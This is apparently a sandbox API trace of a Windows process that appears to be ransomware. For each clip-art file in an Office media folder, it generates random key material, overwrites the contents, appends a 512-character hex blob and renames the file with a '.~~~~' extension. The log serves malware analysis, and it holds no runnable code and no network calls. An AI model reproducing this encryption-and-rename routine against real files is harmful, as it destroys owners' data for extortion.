	[0124.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820280
	[0124.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820280 | out: hHeap=0x300000) returned 1
	[0124.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be088
	[0124.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.092] GetLastError () returned 0x0
	[0124.092] GetLastError () returned 0x0
	[0124.093] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.093] GetLastError () returned 0x0
	[0124.093] GetLastError () returned 0x0
	[0124.098] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe3fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.098] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1c06, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c06, lpOverlapped=0x0) returned 1
	[0124.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.100] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.100] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.100] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.100] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.101] CloseHandle (hObject=0x13c) returned 1
	[0124.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be088
	[0124.101] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.~~~~")) returned 1
	[0124.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be088 | out: hHeap=0x300000) returned 1
	[0124.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.133] GetLastError () returned 0x0
	[0124.133] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0124.135] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.135] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.135] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24412506855) returned 1
	[0124.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3752170, dwHighDateTime=0x1d60e1e)) 
	[0124.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820360
	[0124.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820360 | out: hHeap=0x300000) returned 1
	[0124.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be678
	[0124.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.136] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.136] GetLastError () returned 0x0
	[0124.137] GetLastError () returned 0x0
	[0124.137] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.137] GetLastError () returned 0x0
	[0124.137] GetLastError () returned 0x0
	[0124.143] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffc7c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.143] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3838, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3838, lpOverlapped=0x0) returned 1
	[0124.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0124.146] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.146] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.146] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.146] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.146] CloseHandle (hObject=0x13c) returned 1
	[0124.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be678
	[0124.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf.~~~~")) returned 1
	[0124.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be678 | out: hHeap=0x300000) returned 1
	[0124.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.148] GetLastError () returned 0x0
	[0124.289] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395410) returned 1
	[0124.291] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.291] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.291] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24428143866) returned 1
	[0124.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb38cef30, dwHighDateTime=0x1d60e1e)) 
	[0124.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a39ef0
	[0124.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a39ef0 | out: hHeap=0x300000) returned 1
	[0124.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bed98
	[0124.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.292] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.292] GetLastError () returned 0x0
	[0124.293] GetLastError () returned 0x0
	[0124.293] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.293] GetLastError () returned 0x0
	[0124.293] GetLastError () returned 0x0
	[0124.297] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff876, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.297] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x78a, lpOverlapped=0x0) returned 1
	[0124.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.299] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.299] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.299] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.299] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.300] CloseHandle (hObject=0x11c) returned 1
	[0124.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bed98
	[0124.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.~~~~")) returned 1
	[0124.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bed98 | out: hHeap=0x300000) returned 1
	[0124.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.301] GetLastError () returned 0x0
	[0124.302] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395410) returned 1
	[0124.303] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.303] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.303] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24429294892) returned 1
	[0124.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb38f5090, dwHighDateTime=0x1d60e1e)) 
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820590
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820590 | out: hHeap=0x300000) returned 1
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be970
	[0124.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.304] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.304] GetLastError () returned 0x0
	[0124.304] GetLastError () returned 0x0
	[0124.304] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.304] GetLastError () returned 0x0
	[0124.304] GetLastError () returned 0x0
	[0124.307] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7f08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.307] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x80f8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x80f8, lpOverlapped=0x0) returned 1
	[0124.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.309] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.309] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.309] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.309] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.309] CloseHandle (hObject=0x11c) returned 1
	[0124.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bea08
	[0124.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.~~~~")) returned 1
	[0124.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bea08 | out: hHeap=0x300000) returned 1
	[0124.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.311] GetLastError () returned 0x0
	[0124.311] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395410) returned 1
	[0124.312] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.312] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.313] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24430287524) returned 1
	[0124.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb391b1f0, dwHighDateTime=0x1d60e1e)) 
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28205c8
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28205c8 | out: hHeap=0x300000) returned 1
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beec8
	[0124.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.314] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.314] GetLastError () returned 0x0
	[0124.314] GetLastError () returned 0x0
	[0124.314] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.314] GetLastError () returned 0x0
	[0124.314] GetLastError () returned 0x0
	[0124.317] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff99ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.317] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x6632, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x6632, lpOverlapped=0x0) returned 1
	[0124.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.320] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.320] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.320] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.320] CloseHandle (hObject=0x11c) returned 1
	[0124.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beaa0
	[0124.320] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.~~~~")) returned 1
	[0124.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3beaa0 | out: hHeap=0x300000) returned 1
	[0124.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.322] GetLastError () returned 0x0
	[0124.323] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395410) returned 1
	[0124.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.325] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
